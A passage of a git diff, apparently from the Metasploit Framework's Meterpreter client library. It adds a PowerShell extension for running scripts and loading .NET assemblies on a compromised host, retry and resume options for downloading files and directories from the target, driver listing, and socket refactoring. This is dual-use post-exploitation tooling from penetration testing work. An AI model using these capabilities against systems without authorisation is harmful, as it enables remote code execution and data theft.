meterpreter extensions a privilege escalation interface that is capable +# of doing things like dumping password hashes and performing local +# exploitation. +# +### +class Powershell < Extension + + + def initialize(client) + super(client, 'powershell') + + client.register_extension_aliases( + [ + { + 'name' => 'powershell', + 'ext' => self + }, + ]) + end + + + def import_file(opts={}) + return nil unless opts[:file] + + # if it's a script, then we'll just use execute_string + if opts[:file].end_with?('.ps1') + opts[:code] = ::File.read(opts[:file]) + return execute_string(opts) + end + + # if it's a dll (hopefully a .NET 2.0 one) then do something different + if opts[:file].end_with?('.dll') + # TODO: perhaps do some kind of check to see if the DLL is a .NET assembly? + binary = ::File.read(opts[:file]) + + request = Packet.create_request('powershell_assembly_load') + request.add_tlv(TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE, binary.length) + request.add_tlv(TLV_TYPE_POWERSHELL_ASSEMBLY, binary) + client.send_request(request) + return true + end + + return false + end + + def execute_string(opts={}) + return nil unless opts[:code] + + request = Packet.create_request('powershell_execute') + request.add_tlv(TLV_TYPE_POWERSHELL_CODE, opts[:code]) + request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id] + + response = client.send_request(request) + return response.get_tlv_value(TLV_TYPE_POWERSHELL_RESULT) + end + + def shell(opts={}) + request = Packet.create_request('powershell_shell') + request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id] + + response = client.send_request(request) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + if channel_id.nil? + raise Exception, "We did not get a channel back!" + end + Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client, channel_id, 'powershell_psh', CHANNEL_FLAG_SYNCHRONOUS) + end + +end + +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/powershell/tlv.rb b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb new file mode 100644 index 0000000000..edb69d3c68 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb @@ -0,0 +1,18 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Powershell + +TLV_TYPE_POWERSHELL_SESSIONID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) +TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) +TLV_TYPE_POWERSHELL_ASSEMBLY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4) +TLV_TYPE_POWERSHELL_ASSEMBLY = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb index 8ef895bfb0..8f2a26004c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb @@ -195,9 +195,33 @@ class Dir < Rex::Post::Dir # Downloads the contents of a remote directory a # local directory, optionally in a recursive fashion. # - def Dir.download(dst, src, recursive = false, force = true, glob = nil, &stat) + def Dir.download(dst, src, opts, force = true, glob = nil, &stat) + recursive = false + continue = false + tries = false + tries_no = 0 + tries_cnt = 0 + if opts + timestamp = opts["timestamp"] + recursive = true if opts["recursive"] + continue = true if opts["continue"] + tries = true if opts["tries"] + tries_no = opts["tries_no"] + end + begin + dir_files = self.entries(src, glob) + rescue Rex::TimeoutError + if (tries && (tries_no == 0 || tries_cnt < tries_no)) + tries_cnt += 1 + stat.call('error listing - retry #', tries_cnt, src) if (stat) + retry + else + stat.call('error listing directory - giving up', src, dst) if (stat) + raise + end + end - self.entries(src, glob).each { |src_sub| + dir_files.each { |src_sub| dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub) src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub) @@ -205,12 +229,33 @@ class Dir < Rex::Post::Dir next end - src_stat = client.fs.filestat.new(src_item) + tries_cnt = 0 + begin + src_stat = client.fs.filestat.new(src_item) + rescue Rex::TimeoutError + if (tries && (tries_no == 0 || tries_cnt < tries_no)) + tries_cnt += 1 + stat.call('error opening file - retry #', tries_cnt, src_item) if (stat) + retry + else + stat.call('error opening file - giving up', tries_cnt, src_item) if (stat) + raise + end + end if (src_stat.file?) + if timestamp + dst_item << timestamp + end + stat.call('downloading', src_item, dst_item) if (stat) + begin - result = client.fs.file.download_file(dst_item, src_item) + if (continue || tries) # allow to file.download to log messages + result = client.fs.file.download_file(dst_item, src_item, opts, &stat) + else + result = client.fs.file.download_file(dst_item, src_item, opts) + end stat.call(result, src_item, dst_item) if (stat) rescue ::Rex::Post::Meterpreter::RequestError => e if force @@ -231,10 +276,10 @@ class Dir < Rex::Post::Dir end stat.call('mirroring', src_item, dst_item) if (stat) - download(dst_item, src_item, recursive, force, glob, &stat) + download(dst_item, src_item, opts, force, glob, &stat) stat.call('mirrored', src_item, dst_item) if (stat) end - } + } # entries end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index dc09045f7b..9ad0e65be4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -184,7 +184,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # # Returns true if the remote file +name+ exists, false otherwise # - def File.exists?(name) + def File.exist?(name) r = client.fs.filestat.new(name) rescue nil r ? true : false end @@ -280,16 +280,22 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # If a block is given, it will be called before each file is downloaded and # again when each download is complete. # - def File.download(dest, *src_files, &stat) - src_files.each { |src| + def File.download(dest, src_files, opts = nil, &stat) + timestamp = opts["timestamp"] if opts + [*src_files].each { |src| if (::File.basename(dest) != File.basename(src)) # The destination when downloading is a local file so use this # system's separator dest += ::File::SEPARATOR + File.basename(src) end + # XXX: dest can be the same object as src, so we use += instead of << + if timestamp + dest += timestamp + end + stat.call('downloading', src, dest) if (stat) - result = download_file(dest, src) + result = download_file(dest, src, opts, &stat) stat.call(result, src, dest) if (stat) } end @@ -297,12 +303,20 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # # Download a single file. # - def File.download_file(dest_file, src_file) + def File.download_file(dest_file, src_file, opts = nil, &stat) + continue=false + tries=false + tries_no=0 + if opts + continue = true if opts["continue"] + tries = true if opts["tries"] + tries_no = opts["tries_no"] + end src_fd = client.fs.file.new(src_file, "rb") # Check for changes src_stat = client.fs.filestat.new(src_file) - if ::File.exists?(dest_file) + if ::File.exist?(dest_file) dst_stat = ::File.stat(dest_file) if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime return 'skipped' @@ -313,12 +327,61 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO dir = ::File.dirname(dest_file) ::FileUtils.mkdir_p(dir) if dir and not ::File.directory?(dir) - dst_fd = ::File.new(dest_file, "wb") + if continue + # continue downloading the file - skip downloaded part in the source + dst_fd = ::File.new(dest_file, "ab") + begin + dst_fd.seek(0, ::IO::SEEK_END) + in_pos = dst_fd.pos + src_fd.seek(in_pos) + stat.call('continuing from ', in_pos, src_file) if (stat) + rescue + # if we can't seek, download again + stat.call('error continuing - downloading from scratch', src_file, dest_file) if (stat) + dst_fd.close + dst_fd = ::File.new(dest_file, "wb") + end + else + dst_fd = ::File.new(dest_file, "wb") + end # Keep transferring until EOF is reached... begin - while ((data = src_fd.read) != nil) - dst_fd.write(data) + if tries + # resume when timeouts encountered + seek_back = false + tries_cnt = 0 + begin # while + begin # exception + if seek_back + in_pos = dst_fd.pos + src_fd.seek(in_pos) + seek_back = false + stat.call('resuming at ', in_pos, src_file) if (stat) + else + # succesfully read and wrote - reset the counter + tries_cnt = 0 + end + data = src_fd.read + rescue Rex::TimeoutError + # timeout encountered - either seek back and retry or quit + if (tries && (tries_no == 0 || tries_cnt < tries_no)) + tries_cnt += 1 + seek_back = true + stat.call('error downloading - retry #', tries_cnt, src_file) if (stat) + retry + else + stat.call('error downloading - giving up', src_file, dest_file) if (stat) + raise + end + end + dst_fd.write(data) if (data != nil) + end while (data != nil) + else + # do the simple copying quiting on the first error + while ((data = src_fd.read) != nil) + dst_fd.write(data) + end end rescue EOFError ensure diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb index 950815dbaa..753dd8c808 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb @@ -41,7 +41,7 @@ class Socket # register the inbound handler for the tcp server channel (allowing us to # receive new client connections to a tcp server channel) - client.register_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel ) + client.register_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel) end @@ -49,7 +49,7 @@ class Socket # Deregister the inbound handler for the tcp server channel # def shutdown - client.deregister_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel ) + client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel) end ## @@ -63,17 +63,17 @@ class Socket # in the socket parameters instance. The +params+ argument is expected to be # of type Rex::Socket::Parameters. # - def create( params ) + def create(params) res = nil - if( params.tcp? ) - if( params.server? ) - res = create_tcp_server_channel( params ) + if params.tcp? + if params.server? + res = create_tcp_server_channel(params) else - res = create_tcp_client_channel( params ) + res = create_tcp_client_channel(params) end - elsif( params.udp? ) - res = create_udp_channel( params ) + elsif params.udp? + res = create_udp_channel(params) end return res @@ -87,6 +87,8 @@ class Socket return SocketSubsystem::TcpServerChannel.open(client, params) rescue ::Rex::Post::Meterpreter::RequestError => e case e.code + when 10048 + raise ::Rex::AddressInUse.new(params.localhost, params.localport) when 10000 .. 10100 raise ::Rex::ConnectionError.new end @@ -100,7 +102,7 @@ class Socket def create_tcp_client_channel(params) begin channel = SocketSubsystem::TcpClientChannel.open(client, params) - if( channel != nil ) + if channel != nil return channel.lsock end return nil @@ -118,10 +120,16 @@ class Socket # def create_udp_channel(params) begin - return SocketSubsystem::UdpChannel.open(client, params) + channel = SocketSubsystem::UdpChannel.open(client, params) + if channel != nil + return channel.lsock + end + return nil rescue ::Rex::Post::Meterpreter::RequestError => e case e.code - when 10000 .. 10100 + when 10048 + raise ::Rex::AddressInUse.new(params.localhost, params.localport) + when 10000 .. 10100 raise ::Rex::ConnectionError.new end raise e diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb index d0127ef158..09832b6c2b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb @@ -23,61 +23,6 @@ module SocketSubsystem ### class TcpClientChannel < Rex::Post::Meterpreter::Stream - class << self - def cls - return CHANNEL_CLASS_STREAM - end - end - - module SocketInterface - def type? - 'tcp' - end - - def getsockname - return super if not channel - # Find the first host in our chain (our address) - hops = 0 - csock = channel.client.sock - while(csock.respond_to?('channel')) - csock = csock.channel.client.sock - hops += 1 - end - tmp,caddr,cport = csock.getsockname - tmp,raddr,rport = csock.getpeername - maddr,mport = [ channel.params.localhost, channel.params.localport ] - [ tmp, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] - end - - def getpeername - return super if not channel - tmp,caddr,cport = channel.client.sock.getpeername - maddr,mport = [ channel.params.peerhost, channel.params.peerport ] - [ tmp, "#{maddr}", "#{mport}" ] - end - - attr_accessor :channel - end - - # - # Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair - # Instead of writing to the lsock, reading from the rsock and then writing to the channel, - # we use this mixin to directly write to the channel. - # - # Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real - # socket to write to and we cant intercept the sockets syswrite at a native level. - # - # Note: The deadlock only seems to effect the Ruby build for cygwin. - # - module DirectChannelWrite - - def syswrite( buf ) - channel._write( buf ) - end - - attr_accessor :channel - end - ## # # Factory @@ -124,14 +69,14 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream # # Passes the channel initialization information up to the base class. # - def initialize( client, cid, type, flags ) - super( client, cid, type, flags ) + def initialize(client, cid, type, flags) + super(client, cid, type, flags) - lsock.extend( SocketInterface ) - lsock.extend( DirectChannelWrite ) + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) lsock.channel = self - rsock.extend( SocketInterface ) + rsock.extend(SocketInterface) rsock.channel = self end @@ -156,24 +101,11 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how) request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid) - response = client.send_request(request) + client.send_request(request) return true end - # - # Wrap the _write() call in order to catch some common, but harmless Windows exceptions - # - def _write(*args) - begin - super(*args) - rescue ::Rex::Post::Meterpreter::RequestError => e - case e.code - when 10000 .. 10100 - raise ::Rex::ConnectionError.new - end - end - end end end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb index b45a032976..34e56ee8bf 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb @@ -79,14 +79,8 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel def self.open(client, params) c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS, [ - { - 'type' => TLV_TYPE_LOCAL_HOST, - 'value' => params.localhost - }, - { - 'type' => TLV_TYPE_LOCAL_PORT, - 'value' => params.localport - } + {'type' => TLV_TYPE_LOCAL_HOST, 'value' => params.localhost}, + {'type' => TLV_TYPE_LOCAL_PORT, 'value' => params.localport} ] ) c.params = params c @@ -135,14 +129,18 @@ protected def _accept(nonblock = false) result = nil - channel = @@server_channels[self].deq(nonblock) + begin + channel = @@server_channels[self].deq(nonblock) - if channel - result = channel.lsock - end + if channel + result = channel.lsock + end - if result != nil && !result.kind_of?(Rex::Socket::Tcp) - result.extend(Rex::Socket::Tcp) + if result != nil && !result.kind_of?(Rex::Socket::Tcp) + result.extend(Rex::Socket::Tcp) + end + rescue ThreadError + # This happens when there's no clients in the queue end result diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb index f8e7f310e0..62c03b58aa 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb @@ -5,6 +5,7 @@ require 'rex/socket/udp' require 'rex/socket/parameters' require 'rex/post/meterpreter/extensions/stdapi/tlv' require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/datagram' module Rex module Post @@ -14,30 +15,26 @@ module Stdapi module Net module SocketSubsystem -class UdpChannel < Rex::Post::Meterpreter::Channel - - # - # We inclue Rex::Socket::Udp as this channel is effectivly a UDP socket. - # - include Rex::Socket::Udp +class UdpChannel < Rex::Post::Meterpreter::Datagram # # We are a datagram channel. # - class << self - def cls - return CHANNEL_CLASS_DATAGRAM - end + def self.cls + CHANNEL_CLASS_DATAGRAM end # - # Open a new UDP channel on the remote end. The local host/port are optional, if none are specified - # the remote end will bind to INADDR_ANY with a random port number. The peer host/port are also - # optional, if specified all default send(), write() call will sendto the specified peer. If no peer - # host/port is specified you must use sendto() and specify the remote peer you wish to send to. This - # effectivly lets us create bound/unbound and connected/unconnected UDP sockets with ease. + # Open a new UDP channel on the remote end. The local host/port are + # optional, if none are specified the remote end will bind to INADDR_ANY + # with a random port number. The peer host/port are also optional, if + # specified all default send(), write() call will sendto the specified peer. + # If no peer host/port is specified you must use sendto() and specify the + # remote peer you wish to send to. This effectivly lets us create + # bound/unbound and connected/unconnected UDP sockets with ease. # - def UdpChannel.open(client, params) + # @return [Channel] + def self.open(client, params) c = Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS, [ { @@ -66,95 +63,25 @@ class UdpChannel < Rex::Post::Meterpreter::Channel # def initialize(client, cid, type, flags) super(client, cid, type, flags) - # the instance variable that holds all incoming datagrams. - @datagrams = [] - end - # - # We overwrite Rex::Socket::Udp.timed_read in order to avoid the call to Kernel.select - # which wont be of use as we are not a natively backed ::Socket or ::IO instance. - # - def timed_read( length=65535, timeout=def_read_timeout ) - result = '' + lsock.extend(Rex::Socket::Udp) + lsock.initsock + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) + lsock.channel = self - begin - Timeout.timeout( timeout ) { - while( true ) - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - result = self.read( length ) - break - end - } - rescue Timeout::Error - result = '' - end + # rsock.extend( Rex::Socket::Udp ) + rsock.extend(SocketInterface) + rsock.channel = self - return result - end - - # - # We overwrite Rex::Socket::Udp.recvfrom in order to correctly hand out the - # datagrams which the remote end of this channel has received and are in the - # queue. - # - def recvfrom( length=65535, timeout=def_read_timeout ) - result = nil - # force a timeout on the wait for an incoming datagram - begin - Timeout.timeout( timeout ) { - while( true ) - # wait untill we have at least one datagram in the queue - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - # grab the oldest datagram we have received... - result = @datagrams.shift - # break as we have a result... - break - end - } - rescue Timeout::Error - result = nil - end - # if no result return nothing - if( result == nil ) - return [ '', nil, nil ] - end - # get the data from this datagram - data = result[0] - # if its only a partial read of this datagram, slice it, loosing the remainder. - result[0] = data[0,length-1] if data.length > length - # return the result in the form [ data, host, port ] - return result - end - - # - # Overwrite the low level sysread to read data off our datagram queue. Calls - # to read() will end up calling this. - # - def sysread( length ) - result = self.recvfrom( length ) - return result[0] - end - - # - # Overwrite the low level syswrite to write data to the remote end of the channel. - # Calls to write() will end up calling this. - # - def syswrite( buf ) - return _write( buf ) end # # This function is called by Rex::Socket::Udp.sendto and writes data to a specified # remote peer host/port via the remote end of the channel. # - def send( buf, flags, saddr ) - af, peerhost, peerport = Rex::Socket.from_sockaddr( saddr ) + def send(buf, flags, saddr) + _af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr) addends = [ { @@ -167,42 +94,9 @@ class UdpChannel < Rex::Post::Meterpreter::Channel } ] - return _write( buf, buf.length, addends ) + return _write(buf, buf.length, addends) end - # - # The channels direct io write handler for any incoming data from the remote end - # of the channel. We extract the data and peer host/port, and save this to a queue - # of incoming datagrams which are passed out via calls to self.recvfrom() - # - def dio_write_handler( packet, data ) - - peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) - peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) - - if( peerhost and peerport ) - @datagrams << [ data, peerhost, peerport ] - return true - end - - return false - end - - # - # Wrap the _write() call in order to catch some common, but harmless Windows exceptions - # - def _write(*args) - begin - super(*args) - rescue ::Rex::Post::Meterpreter::RequestError => e - case e.code - when 10000 .. 10100 - raise ::Rex::ConnectionError.new - end - end - end - - end end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 11c5e9e8de..18ec1fc6d3 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -51,6 +51,25 @@ class Config getsid == SYSTEM_SID end + # + # Returns a list of currently active drivers used by the target system + # + def getdrivers + request = Packet.create_request('stdapi_sys_config_driver_list') + response = client.send_request(request) + + result = [] + + response.each(TLV_TYPE_DRIVER_ENTRY) do |driver| + result << { + basename: driver.get_tlv_value(TLV_TYPE_DRIVER_BASENAME), + filename: driver.get_tlv_value(TLV_TYPE_DRIVER_FILENAME) + } + end + + result + end + # # Returns a hash of requested environment variables, along with their values. # If a requested value doesn't exist in the response, then the value wasn't found. @@ -82,21 +101,33 @@ class Config value end + # + # Returns the target's local system date and time. + # + def localtime + request = Packet.create_request('stdapi_sys_config_localtime') + response = client.send_request(request) + (response.get_tlv_value(TLV_TYPE_LOCAL_DATETIME) || "").strip + end + # # Returns a hash of information about the remote computer. # - def sysinfo + def sysinfo(refresh: false) request = Packet.create_request('stdapi_sys_config_sysinfo') - response = client.send_request(request) + if @sysinfo.nil? || refresh + response = client.send_request(request) - { - 'Computer' => response.get_tlv_value(TLV_TYPE_COMPUTER_NAME), - 'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME), - 'Architecture' => response.get_tlv_value(TLV_TYPE_ARCHITECTURE), - 'System Language' => response.get_tlv_value(TLV_TYPE_LANG_SYSTEM), - 'Domain' => response.get_tlv_value(TLV_TYPE_DOMAIN), - 'Logged On Users' => response.get_tlv_value(TLV_TYPE_LOGGED_ON_USER_COUNT) - } + @sysinfo = { + 'Computer' => response.get_tlv_value(TLV_TYPE_COMPUTER_NAME), + 'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME), + 'Architecture' => response.get_tlv_value(TLV_TYPE_ARCHITECTURE), + 'System Language' => response.get_tlv_value(TLV_TYPE_LANG_SYSTEM), + 'Domain' => response.get_tlv_value(TLV_TYPE_DOMAIN), + 'Logged On Users' => response.get_tlv_value(TLV_TYPE_LOGGED_ON_USER_COUNT) + } + end + @sysinfo end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb index 87bcdf34e4..cb2d556520 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb @@ -60,7 +60,9 @@ class EventLog def initialize(hand) self.client = self.class.client self.handle = hand - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.handle) ) + + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, hand)) end def self.finalize(client,handle) @@ -185,7 +187,11 @@ class EventLog # Instance method def close - self.class.close(self.client, self.handle) + unless self.handle.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, self.handle) + self.handle = nil + end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb index 92f77b3567..bb7e2a9099 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb @@ -224,13 +224,15 @@ class Process < Rex::Post::Process response.each(TLV_TYPE_PROCESS_GROUP) { |p| arch = "" - pa = p.get_tlv_value( TLV_TYPE_PROCESS_ARCH ) - if( pa != nil ) + pa = p.get_tlv_value(TLV_TYPE_PROCESS_ARCH) + if !pa.nil? if pa == 1 # PROCESS_ARCH_X86 arch = ARCH_X86 elsif pa == 2 # PROCESS_ARCH_X64 arch = ARCH_X86_64 end + else + arch = p.get_tlv_value(TLV_TYPE_PROCESS_ARCH_NAME) end processes << @@ -285,11 +287,12 @@ class Process < Rex::Post::Process 'thread' => Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread.new(self), }) - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.handle) ) + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, handle)) end - def self.finalize(client,handle) - proc { self.close(client,handle) } + def self.finalize(client, handle) + proc { self.close(client, handle) } end # @@ -320,8 +323,12 @@ class Process < Rex::Post::Process # # Instance method # - def close(handle=self.handle) - self.class.close(self.client, handle) + def close(handle = self.handle) + unless self.pid.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, handle) + self.pid = nil + end end # @@ -372,15 +379,15 @@ end class ProcessList < Array # - # Create a Rex::Ui::Text::Table out of the processes stored in this list + # Create a Rex::Text::Table out of the processes stored in this list # - # +opts+ is passed on to Rex::Ui::Text::Table.new, mostly unmolested + # +opts+ is passed on to Rex::Text::Table.new, mostly unmolested # # Note that this output is affected by Rex::Post::Meterpreter::Client#unicode_filter_encode # def to_table(opts={}) if empty? - return Rex::Ui::Text::Table.new(opts) + return Rex::Text::Table.new(opts) end cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ] @@ -396,7 +403,7 @@ class ProcessList < Array 'Columns' => cols }.merge(opts) - tbl = Rex::Ui::Text::Table.new(opts) + tbl = Rex::Text::Table.new(opts) each { |process| tbl << cols.map { |c| col = c.downcase diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb index bd2bbf34b0..af689a2671 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb @@ -30,7 +30,8 @@ class RegistryKey self.perm = perm self.hkey = hkey - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.hkey) ) + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, hkey)) end def self.finalize(client,hkey) @@ -115,7 +116,11 @@ class RegistryKey # Instance method for the same def close() - self.class.close(self.client, self.hkey) + unless self.hkey.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, self.hkey) + self.hkey = nil + end end ## diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb index 7ad533e3f4..8fb734aa98 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb @@ -29,11 +29,12 @@ class RemoteRegistryKey self.target_host = target_host self.hkey = hkey - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.hkey) ) + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, hkey)) end - def self.finalize(client,hkey) - proc { self.close(client,hkey) } + def self.finalize(client, hkey) + proc { self.close(client, hkey) } end ## @@ -113,8 +114,12 @@ class RemoteRegistryKey end # Instance method for the same - def close() - self.class.close(self.client, self.hkey) + def close + unless self.hkey.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, self.hkey) + self.hkey = nil + end end ## diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb index 43481cdc8f..4469a1e633 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb @@ -34,7 +34,9 @@ class Thread < Rex::Post::Thread self.process = process self.handle = handle self.tid = tid - ObjectSpace.define_finalizer( self, self.class.finalize(self.process.client, self.handle) ) + + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(process.client, handle)) end def self.finalize(client,handle) @@ -168,7 +170,11 @@ class Thread < Rex::Post::Thread # Instance method def close - self.class.close(self.process.client, self.handle) + unless self.handle.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.process.client, self.handle) + self.handle = nil + end end attr_reader :process, :handle, :tid # :nodoc: diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index a3a147ae49..2fdf369508 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -129,6 +129,7 @@ TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044 TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045 TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046 TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047 +TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048 # Environment TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100 @@ -156,6 +157,11 @@ TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 TLV_TYPE_PROCESS_SESSION = TLV_META_TYPE_UINT | 2308 +TLV_TYPE_PROCESS_ARCH_NAME = TLV_META_TYPE_STRING | 2309 + +TLV_TYPE_DRIVER_ENTRY = TLV_META_TYPE_GROUP | 2320 +TLV_TYPE_DRIVER_BASENAME = TLV_META_TYPE_STRING | 2321 +TLV_TYPE_DRIVER_FILENAME = TLV_META_TYPE_STRING | 2322 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 diff --git 